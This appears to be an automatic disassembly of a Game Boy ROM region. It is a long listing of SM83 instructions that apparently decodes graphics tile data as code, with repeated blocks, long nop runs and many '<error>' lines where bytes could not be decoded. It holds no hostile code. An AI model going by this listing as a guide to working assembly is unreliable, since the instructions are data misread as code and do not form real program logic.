sbc a, d
rlc a
ld c, b
ld b, $26
ld b, b
ldi [hl], a
ret nz
cpl
ld b, b
ld sp, $1840
ldh [$ff00 + $0f], a
jr nc, 0.l_5c70
inc e
nop
inc sp
inc a
ld [bc], a
inc l
inc bc
call nz, func_2402
ld [bc], a
sbc a, h
inc bc
ldhl sp, d
ld b, $00
<error>
nop
ld h, $00
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
inc bc
inc bc
inc b
inc b
ld a, [bc]
ld [$1015], sp
inc l
ld hl, $4558
ld d, d
ld c, c
ld d, d
ld c, c
ret nz
ret nz
jr nz, 0.l_5cf4
ld d, b
stop
xor b
ld [$a414], sp
ld a, [bc]
or d
ld h, $9a
ld b, d
sbc a, d
ld c, d
ld b, c
ld [hl], e
ld b, b
add sp, d
ld d, b
ldh [c], a
ld e, c
pop bc
ld a, e
push hl
dec sp
ld [hl], h
dec de
ccf
rrc a
ld b, [hl]
sub a, d
jp z, .l_1b06
ld c, $2b
sbc a, $bf
sbc a, $bf
call c, func_d83e
<error>
ldh a, [$ff00 + $00]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
rst 28
rst 38
rst 28
rst 38
rst 38
add a, e
add a, b
or b
add a, b
rst 38
rst 38
rst 38
rst 28
rst 38
rst 28
rst 38
rst 30
rst 38
rst 30
rst 38
rst 38
ld bc, $1901
ld bc, $ffff
rst 38
rst 30
rst 38
rst 30
rst 38
rst 38
jp nz, .l_ffc0
rst 38
sub a, b
add a, b
rst 38
rst 38
add a, b
add a, b
rst 38
rst 38
jp nz, .l_ffc0
rst 38
inc de
inc bc
rst 38
rst 38
ld hl, $ff01
rst 38
inc bc
inc bc
rst 38
rst 38
add hl, bc
ld bc, $ffff
add a, b
add a, b
sbc a, e
add a, e
cp $fe
ldhl sp, d
ldhl sp, d
ei
ei
<error>
ld sp, hl
cp $fc
rst 38
rst 38
inc sp
inc bc
jp .l_7fc3
ld a, a
rst 38
rst 38
rst 18
rst 18
cp a
sbc a, a
ld a, a
ccf
<error>
<error>
ei
ld sp, hl
ei
ei
rst 38
rst 38
cp $fe
cp $fe
rst 38
rst 38
call z, func_3fc0
ccf
rst 18
sbc a, a
rst 18
rst 18
ccf
rr a
ld a, a
ld a, a
ld a, a
ld a, a
rst 38
rst 38
add hl, de
ld bc, $0303
inc b
inc b
ld a, [bc]
ld [$1015], sp
inc l
ld hl, $4558
ld d, d
ld c, c
ld d, d
ld c, c
ret nz
ret nz
jr nz, 0.l_5df4
ld d, b
stop
xor b
ld [$a414], sp
ld a, [bc]
or d
ld h, $9a
ld b, d
sbc a, d
ld c, d
ld b, c
ld [hl], e
ld b, b
add sp, d
ld d, b
ldh [c], a
ld e, c
pop bc
ld a, e
push hl
dec sp
ld [hl], h
dec de
ccf
rrc a
ld b, [hl]
sub a, d
jp z, .l_1b06
ld c, $2b
sbc a, $bf
sbc a, $bf
call c, func_d83e
<error>
ldh a, [$ff00 + $80]
add a, b
ret nz
ret nz
and b
and b
sbc a, a
sub a, a
ret z
adc a, b
add sp, d
ret nz
di
and c
<error>
or e
ld bc, $0301
inc bc
dec b
dec b
ld sp, hl
jp [hl]
inc de
ld de, $0317
rst 8
add a, l
set 1, l
<error>
or e
<error>
or e
reti
or c
push hl
and c
<error>
xor l
or $bc
jp .l_ffbe
rst 38
set 1, l
set 1, l
sbc a, e
adc a, l
and a
add a, l
or a
or l
ld l, a
dec a
jp .l_ff7d
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
rr a
rrc a
stop
rrc a
stop
rrc a
stop
nop
nop
nop
nop
nop
nop
nop
nop
nop
<error>
ldhl sp, d
inc b
ldhl sp, d
inc b
ldhl sp, d
inc b
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
stop
nop
rr a
nop
nop
nop
nop
ldhl sp, d
inc b
ldhl sp, d
inc b
ldhl sp, d
inc b
ldhl sp, d
inc b
ldhl sp, d
inc b
nop
<error>
nop
nop
nop
nop
rr a
rrc a
rr a
stop
rr a
stop
rr a
stop
rr a
stop
rr a
stop
rr a
stop
rr a
stop
<error>
ldhl sp, d
<error>
inc b
<error>
inc b
<error>
inc b
<error>
inc b
<error>
inc b
<error>
inc b
<error>
inc b
stop
stop
stop
rr a
stop
rr a
stop
rr a
stop
rr a
rr a
rr a
nop
nop
nop
nop
inc b
inc b
inc b
<error>
inc b
<error>
inc b
<error>
inc b
<error>
<error>
<error>
nop
nop
nop
nop
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, h
rst 38
ld a, b
nop
nop
rst 38
nop
ei
<error>
<error>
add a, [hl]
rst 18
add a, d
xor a
jp nz, .l_e297
bit 6, d
ei
ld [hl], b
<error>
ld a, b
pop af
ld a, [hl]
<error>
ld a, a
<error>
ld b, a
pop bc
ld b, b
ret nz
ld b, b
rst 38
rst 38
rst 20
ldd a, [hl]
di
ld e, $3b
ld c, $4f
add a, [hl]
sub a, a
ldh [c], a
ld [hl], e
cp $2f
ld e, $ff
cp $0f
rrc a
ld [de], a
stop
ldi [hl], a
jr nz, 0.l_5f4a
ld b, a
ld [hl], a
ld c, a
ld c, a
ld c, a
ld c, a
ld c, a
ld a, a
ld c, a
ldh a, [$ff00 + $f0]
ld c, b
ld [$0444], sp
jp nz, .l_eee2
<error>
<error>
<error>
<error>
<error>
cp $f2
ld b, a
ld b, a
ld h, d
ld b, b
ld [hl], d
ld h, b
ld a, a
ld d, d
ld e, a
ld l, a
ld b, b
ld [hl], b
cpl
jr nc, 0.l_5f4e
rr a
ldh [c], a
ldh [c], a
ld b, [hl]
ld [bc], a
ld c, [hl]
ld b, $fe
ld c, d
ld a, [$02f6]
ld c, $f4
inc c
ldhl sp, d
ldhl sp, d
ld b, $06
ld a, [bc]
ld a, [bc]
ld a, [de]
ld [de], a
dec de
inc de
inc a
inc a
ld h, b
ld b, b
ld e, h
ld e, h
sbc a, $9e
ld h, b
ld h, b
ld d, b
ld d, b
ld e, b
ld c, b
ret c
ret z
inc a
inc a
ld b, $02
ldd a, [hl]
ldd a, [hl]
ld a, e
ld a, c
sbc a, [hl]
sbc a, [hl]
adc a, [hl]
adc a, [hl]
ret nz
add a, b
ld a, [$7292]
ld h, d
jr nc, 0.l_5f8c
inc a
inc l
ccf
ccf
ld a, c
ld a, c
ld [hl], c
ld [hl], c
inc bc
ld bc, $495f
ld c, [hl]
ld b, [hl]
inc c
inc b
inc a
inc [hl]
<error>
<error>
nop
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
ld d, a
ld d, a
or d
sub a, d
ldhl sp, d
or b
adc a, $cc
sbc a, a
adc a, a
xor l
sbc a, l
ld sp, hl
sbc a, c
reti
cp c
ld [$4dea], a
ld c, c
rr a
dec c
ld [hl], e
inc sp
ld sp, hl
pop af
or l
cp c
sbc a, a
sbc a, c
sbc a, e
sbc a, l
ld sp, hl
ld sp, hl
sbc a, a
ld sp, hl
xor c
rst 18
or a
rst 8
rst 18
ld h, b
ld c, a
ld [hl], b
jr nc, 0.l_602d
rr a
rrc a
sbc a, a
sbc a, a
ld sp, hl
sbc a, a
sub a, l
ei
<error>
di
ei
ld b, $f2
ld c, $0c
<error>
ldhl sp, d
ldh a, [$ff00 + $7c]
nop
add a, [hl]
nop
add a, d
nop
add a, d
nop
add a, [hl]
nop
call z, func_7900
nop
inc bc
nop
inc bc
nop
ld a, c
nop
call z, func_8600
nop
add a, d
nop
add a, d
nop
add a, [hl]
nop
ld a, h
nop
ld a, $00
ld h, c
nop
ld b, c
nop
ld b, c
nop
ld h, c
nop
inc sp
nop
sbc a, [hl]
nop
ret nz
nop
ret nz
nop
sbc a, [hl]
nop
inc sp
nop
ld h, c
nop
ld b, c
nop
ld b, c
nop
ld h, c
nop
ld a, $00
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_606a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_606f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_608e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
ldh a, [$ff00 + $0f]
sub a, [hl]
ld l, a
sub a, [hl]
ld l, a
ldh [$ff00 + $1f], a
ld c, $f1
ld l, [hl]
pop af
ld l, [hl]
pop af
nop
rst 38
ldh a, [$ff00 + $0f]
or $0f
or $0f
stop
rst 28
rr a
ldh [$ff00 + $67], a
sbc a, b
ld h, a
sbc a, b
rlc a
ldhl sp, d
ldh [$ff00 + $1f], a
and $19
and $19
ldhl sp, d
rlc a
ld [$6ff7], sp
ldh a, [$ff00 + $6f]
ldh a, [$ff00 + $0f]
ldh a, [$ff00 + $00]
rst 38
halt
adc a, a
halt
adc a, a
ld [hl], b
adc a, a
rlc a
ldhl sp, d
ld l, c
or $69
or $0f
ldh a, [$ff00 + $60]
inc e
ret z
rlc a
add a, l
ld [bc], a
add a, l
ld [bc], a
ret
ld b, $30
rst 8
nop
ld a, a
jr 0.l_60f6
inc bc
stop
add hl, bc
ldh a, [$ff00 + $84]
ld b, b
ld [bc], a
add a, b
nop
add a, d
ld b, h
add a, d
inc a
jp nz, .l_7c80
ld bc, $1c3e
ld h, e
ldi [hl], a
ld b, c
ld b, b
ld bc, $0142
inc a
inc bc
add a, b
ld e, $c0
nop
nop
ldhl sp, d
ld h, b
sbc a, [hl]
jp nc, .l_a121
ld b, b
add a, c
ld b, b
ld hl, $53c0
jr nz, 0.l_6125
jr 0.l_6106
nop
ld b, l
nop
add hl, bc
nop
inc de
nop
ld h, $00
call func_1b00
nop
rst 30
nop
and b
nop
and b
nop
and h
nop
ret nc
nop
ld l, b
nop
or a
nop
ret c
nop
rst 28
nop
rst 30
nop
dec de
nop
<error>
nop
ld d, $00
dec bc
nop
dec b
nop
ld b, l
nop
dec b
nop
rst 28
nop
ret c
nop
or a
nop
ld l, b
nop
ret nc
nop
and h
nop
and b
nop
and b
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_616a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_616f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_618e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
nop
ccf
rr a
ld h, b
ld a, $41
ld [hl], $49
inc hl
ld e, h
add hl, hl
ld d, [hl]
inc a
ld b, e
nop
nop
nop
<error>
ldhl sp, d
ld b, $7c
add a, d
ld l, h
sub a, d
call nz, func_943a
ld l, d
inc a
jp nz, .l_413e
ld l, $51
ld h, $59
scf
ld c, b
ld a, $41
rr a
ld h, b
nop
ccf
nop
nop
ld a, h
add a, d
ld [hl], h
adc a, d
ld h, h
sbc a, d
<error>
ld [de], a
ld a, h
add a, d
ldhl sp, d
ld b, $00
<error>
nop
nop
dec b
ld [bc], a
ld b, h
ld bc, $0108
ld [de], a
add a, c
ld h, $81
adc a, l
ld b, d
inc bc
inc a
<error>
inc h
and b
nop
and d
nop
and b
ld c, $d0
ld [$f800], sp
sub a, e
inc h
ret c
ldi [hl], a
xor [hl]
ld b, c
<error>
inc h
dec de
daa
push bc
add hl, sp
ld b, $10
dec bc
jr nc, 0.l_61eb
cpl
ld b, l
jr nz, 0.l_61f4
ld b, b
xor $41
ldh [$ff00 + $f9], a
or c
add a, [hl]
add sp, d
add a, h
ld d, b
add a, h
nop
<error>
and b
ld b, d
and c
ld b, b
add a, h
nop
daa
nop
ld l, b
nop
add hl, bc
nop
sbc a, d
nop
<error>
nop
jr nz, 0.l_620e
add hl, hl
nop
inc d
nop
or $00
ld [de], a
nop
ret c
nop
rrc a
nop
ld h, [hl]
nop
inc b
nop
sub a, l
nop
inc l
nop
inc l
nop
ld h, b
nop
ld sp, hl
nop
inc c
nop
ld h, a
nop
inc h
nop
sub a, h
nop
or h
nop
inc h
nop
rrc a
nop
sbc a, c
nop
jr nc, 0.l_623a
and $00
inc h
nop
ld sp, $0000
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_626a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_626f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_628e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
add hl, bc
nop
inc de
nop
ld h, $00
ld c, l
nop
sbc a, e
nop
ld [hl], $00
ld l, a
nop
rst 18
nop
sub a, b
nop
ret z
nop
ld h, h
nop
or d
nop
reti
nop
<error>
nop
or $00
ei
nop
<error>
nop
ld l, a
nop
scf
nop
sbc a, e
nop
ld c, l
nop
ld h, $00
inc de
nop
add hl, bc
nop
ei
nop
or [hl]
nop
<error>
nop
reti
nop
or d
nop
ld h, h
nop
ret z
nop
sub a, b
nop
add a, d
inc b
jr z, 0.l_62cb
ld h, b
rrc a
ld [de], a
inc c
ld h, h
sbc a, b
add a, b
ld a, b
ld b, b
ccf
nop
ldd [hl], a
inc h
stop
ld b, $f0
ld a, [bc]
ldh a, [$ff00 + $44]
jr c, 0.l_6319
ccf
sub a, d
ld l, h
jr z, 0.l_62a2
sbc a, c
ld b, h
dec d
ldi [hl], a
stop
daa
ld e, d
inc h
nop
<error>
inc de
inc c
ld l, b
rlc a
jr nz, 0.l_62f2
sub a, b
inc b
add a, b
ld b, h
jr z, 0.l_62b8
ld d, c
ld l, $47
jr c, 0.l_62c1
jr nc, 0.l_6311
ldh [$ff00 + $04], a
jr nz, 0.l_6310
jr nz, 0.l_628a
nop
ld b, c
nop
ldi [hl], a
nop
inc a
nop
jr nc, 0.l_630a
inc h
nop
ld c, b
nop
ret nc
nop
adc a, b
nop
ret nz
nop
inc h
nop
ld [de], a
nop
sbc a, b
nop
jr c, 0.l_631c
ld b, h
nop
add a, e
nop
pop bc
nop
ldi [hl], a
nop
inc e
nop
add hl, bc
nop
ld c, b
nop
inc h
nop
inc de
nop
ld bc, $0100
nop
ld [de], a
nop
inc h
nop
ld c, h
nop
inc e
nop
inc h
nop
jp nz, .l_8100
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_636a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_636f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_638e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
ccf
nop
ld h, a
nop
ld e, a
nop
ld a, [hl]
nop
ld a, h
nop
ld a, c
nop
ldd [hl], a
nop
nop
nop
ld a, h
nop
ld c, [hl]
nop
ld a, [hl]
nop
ld e, $00
adc a, $00
ldh [$ff00 + $00], a
ld h, b
nop
ld [bc], a
nop
dec sp
nop
ld c, c
nop
ld e, h
nop
ld a, [hl]
nop
ld a, [hl]
nop
inc a
nop
nop
nop
and $00
jp z, .l_9600
nop
ld l, $00
ld a, [hl]
nop
ld a, [hl]
nop
inc a
nop
nop
nop
add a, c
nop
ld hl, $1240
ld hl, $122c
jr nz, 0.l_63e8
inc d
ldi [hl], a
ld b, c
ldi [hl], a
add a, b
ld h, e
add a, b
nop
jp nz, .l_2c00
ret nz
ld [$c830], sp
jr nc, 0.l_63ab
jr z, 0.l_6365
ld b, h
ld b, h
add a, e
jr 0.l_63c9
ld [bc], a
inc a
inc b
jr 0.l_63fb
ld [$0814], sp
inc de
inc c
ld h, b
inc de
nop
ld bc, $8245
cp h
ld b, d
ld e, b
inc h
ld b, h
jr c, 0.l_6445
jr nc, 0.l_639f
ld b, b
ld b, d
add a, b
add a, c
nop
add a, b
nop
adc a, h
nop
adc a, [hl]
nop
add a, $00
ld h, b
nop
jr nc, 0.l_640c
ld e, b
nop
rrc a
nop
rrc a
nop
jr 0.l_6414
jr nc, 0.l_6416
ld h, d
nop
ret nz
nop
adc a, h
nop
adc a, h
nop
add a, b
nop
ld bc, $3100
nop
ld [hl], c
nop
ld h, e
nop
ld b, $00
inc c
nop
jr 0.l_642e
ldh a, [$ff00 + $00]
ldh a, [$ff00 + $00]
jr 0.l_6434
inc c
nop
ld b, $00
inc sp
nop
ld sp, $8100
nop
ld bc, $0000
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_646a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_646f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_648e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
ldhl sp, d
nop
cp b
ld b, h
ld sp, hl
inc b
jp [hl]
inc d
ld a, c
add a, h
ld bc, $0378
nop
ccf
nop
ld bc, $f802
ld bc, $40bc
<error>
ld [bc], a
<error>
ld [de], a
<error>
ld [bc], a
<error>
ld [bc], a
ret nz
inc a
ld a, a
nop
ld l, a
stop
ld a, [hl]
ld bc, $057a
ld a, $41
ld e, $21
add a, b
ld e, $c0
nop
add a, b
ld b, b
ld e, $80
ccf
nop
ld a, e
inc b
ld l, a
stop
ld a, a
nop
ld a, a
nop
ld bc, $803e
nop
ld b, b
adc a, a
ld l, c
sub a, b
stop
ldh [$ff00 + $10], a
ld h, b
add hl, bc
jr nc, 0.l_6513
add hl, sp
jr 0.l_64f7
inc de
inc c
inc h
jr 0.l_651d
or b
ld [bc], a
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $51]
adc a, [hl]
ld b, h
adc a, b
jr nc, 0.l_64a8
inc d
inc hl
ld b, d
ld hl, $21d2
dec c
<error>
ld de, $100e
rrc a
jr nz, 0.l_6506
add a, b
ld [hl], b
nop
ldhl sp, d
ld h, h
sbc a, b
sub a, d
inc c
ld de, $e00e
inc de
nop
pop hl
add a, b
ld bc, $0001
inc de
nop
ld h, $00
ld c, h
nop
sbc a, b
nop
jr nc, 0.l_650a
ld h, h
nop
ret z
nop
sub a, b
nop
ret nz
nop
ld h, b
nop
ldd [hl], a
nop
sbc a, c
nop
ld c, h
nop
ld h, $00
inc de
nop
add hl, bc
nop
sub a, b
nop
ret z
nop
ld h, h
nop
ldd [hl], a
nop
sbc a, c
nop
ld c, h
nop
ld b, $00
inc bc
nop
add hl, bc
nop
inc de
nop
ld h, $00
inc c
nop
add hl, de
nop
ldd [hl], a
nop
ld h, h
nop
ret z
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_656a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_656f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_658e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
ccf
nop
ld a, [hl]
ld bc, $026c
ld a, c
inc b
ld [hl], e
ld [$1066], sp
ld l, a
nop
nop
nop
<error>
nop
ld a, [hl]
add a, b
ld [hl], $40
sbc a, [hl]
jr nz, 0.l_6569
stop
and $08
or $00
ld h, a
ld [$0473], sp
ld a, c
ld [bc], a
ld e, h
ld bc, $007e
ccf
ld b, b
nop
ccf
nop
nop
and $10
adc a, $20
sbc a, [hl]
ld b, b
ld [hl], $80
ld a, [hl]
nop
<error>
ld [bc], a
nop
<error>
nop
nop
ld [de], a
ld bc, $02e5
ld a, [bc]
inc h
add a, h
jr 0.l_65ed
jr 0.l_6626
inc h
and h
ld b, e
ld b, h
add a, e
ld b, c
add a, b
and c
ld b, b
ld d, d
inc h
jr nz, 0.l_65f0
ld b, h
jr z, 0.l_6565
ld b, h
add hl, bc
add a, $32
ret
ld b, l
add a, d
cp b
ld b, a
ld d, [hl]
add hl, hl
dec h
jr 0.l_657d
ld [$0c42], sp
dec b
ldd a, [hl]
ldh [c], a
ld bc, $718a
sub a, l
ld b, d
ld l, d
add a, h
inc d
add sp, d
ret
jr nc, 0.l_663d
inc a
and h
ld b, d
ld c, c
add a, b
ld a, $00
ld a, $00
and d
nop
ld b, c
nop
ld b, c
nop
ld h, e
nop
sbc a, a
nop
rlc a
nop
stop
nop
ld [$2f00], sp
nop
ld [$f800], sp
nop
<error>
nop
<error>
nop
pop hl
nop
daa
nop
add a, a
nop
ret z
nop
ld [hl], b
nop
ld [hl], b
nop
ld a, c
nop
rst 0
nop
ld b, e
nop
pop hl
nop
pop af
nop
adc a, [hl]
nop
add a, h
nop
sub a, h
nop
call nz, func_f900
nop
ldh a, [$ff00 + $00]
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_666a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_666f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_668e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
ccf
nop
ld [hl], e
nop
ld h, [hl]
nop
ld c, h
nop
ld e, c
nop
ld [hl], e
nop
ld h, a
nop
nop
nop
<error>
nop
ld e, $00
ld a, [hl]
nop
cp $00
cp $00
cp $00
cp $00
ld c, a
nop
ld e, a
nop
ld e, a
nop
ld a, a
nop
ld a, a
nop
ccf
ld b, b
nop
ccf
nop
nop
cp $00
cp $00
cp $00
cp $00
cp $00
<error>
ld [bc], a
nop
<error>
nop
nop
inc a
ld [bc], a
inc a
ld [bc], a
dec h
add a, d
ld b, $43
ld l, $43
ld e, e
daa
<error>
rr a
dec de
rlc a
stop
nop
nop
ld [$0f20], sp
sub a, b
ld [$f800], sp
inc d
ldh [$ff00 + $d3], a
ldh [$ff00 + $d1], a
ldh [$ff00 + $0b], a
rlc a
adc a, c
rlc a
call nz, func_6809
stop
ld c, b
jr nc, 0.l_671f
ld c, b
jp .l_4304
nop
pop de
ldh [$ff00 + $89], a
ldh a, [$ff00 + $f2]
adc a, h
ld c, b
add a, h
ld d, b
add a, h
add a, h
ld b, b
cp c
ld b, b
or b
ld b, b
add a, b
add a, b
ret nz
ret nz
and b
and b
sbc a, a
sub a, a
ret z
adc a, b
add sp, d
ret nz
di
and c
<error>
or e
ld bc, $0301
inc bc
dec b
dec b
ld sp, hl
jp [hl]
inc de
ld de, $0317
rst 8
add a, l
set 1, l
<error>
or e
<error>
or e
reti
or c
push hl
and c
<error>
xor l
or $bc
jp .l_ffbe
rst 38
set 1, l
set 1, l
sbc a, e
adc a, l
and a
add a, l
or a
or l
ld l, a
dec a
jp .l_ff7d
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, h
rst 38
ld a, b
nop
nop
rst 38
nop
ei
<error>
<error>
add a, [hl]
rst 18
add a, d
xor a
jp nz, .l_e297
bit 6, d
ei
ld [hl], b
<error>
ld a, b
pop af
ld a, [hl]
<error>
ld a, a
<error>
ld b, a
pop bc
ld b, b
ret nz
ld b, b
rst 38
rst 38
rst 20
ldd a, [hl]
di
ld e, $3b
ld c, $4f
add a, [hl]
sub a, a
ldh [c], a
ld [hl], e
cp $2f
ld e, $ff
cp $ff
rst 38
rst 38
rst 38
rst 38
rst 38
cp $fe
<error>
<error>
ldhl sp, d
ldhl sp, d
ldh a, [$ff00 + $f0]
ldh [$ff00 + $e0], a
rst 38
rst 38
ldh a, [$ff00 + $f0]
add a, b
add a, b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
rst 38
rrc a
rrc a
ld bc, $0001
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, a
ld a, a
ccf
ccf
rr a
rr a
rrc a
rrc a
rlc a
rlc a
ldh [$ff00 + $e0], a
ret nz
ret nz
ret nz
ret nz
ret nz
ret nz
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
rlc a
rlc a
inc bc
inc bc
inc bc
inc bc
inc bc
inc bc
ld bc, $0101
ld bc, $0101
ld bc, $8001
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
ret nz
ret nz
ret nz
ret nz
ret nz
ret nz
ldh [$ff00 + $e0], a
ld bc, $0101
ld bc, $0101
ld bc, $0301
inc bc
inc bc
inc bc
inc bc
inc bc
rlc a
rlc a
nop
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
ldh [$ff00 + $e0], a
ldh a, [$ff00 + $f0]
ldhl sp, d
ldhl sp, d
<error>
<error>
cp $fe
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add a, b
add a, b
ldh a, [$ff00 + $f0]
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ld bc, $0f01
rrc a
rst 38
rst 38
rlc a
rlc a
rrc a
rrc a
rr a
rr a
ccf
ccf
ld a, a
ld a, a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, [$2ddc]
<error>
inc e
pop hl
ret c
ld hl, $21d0
ret nz
ld sp, $72e8
sub a, b
<error>
sub a, b
<error>
sub a, b
<error>
or b
call nz, func_8278
call nz, func_8201
ld bc, $0100
ld bc, $5f00
ccf
or b
ld c, a
jr c, 0.l_68ad
dec e
add a, d
dec de
add a, h
dec bc
add a, h
rlc a
ld c, [hl]
add hl, bc
scf
add hl, bc
daa
add hl, bc
daa
dec c
inc hl
ld e, $41
inc hl
add a, b
ld b, c
add a, b
nop
add a, b
add a, b
nop
ret nz
ret nz
and b
and b
sub a, e
sub a, e
call func_698e
ld c, [hl]
ld [hl], b
ld e, a
ld sp, $133f
ld e, $03
inc bc
dec b
dec b
ret
ret
or e
ld [hl], c
sub a, [hl]
ld [hl], d
ld c, $fa
adc a, h
<error>
ret z
ld a, b
ld h, e
ld a, [hl]
adc a, a
cp $8f
ld a, [$784f]
ccf
inc a
rr a
rl a
add hl, hl
daa
ld e, b
ld c, a
add a, $7e
pop af
ld a, a
pop af
ld e, a
<error>
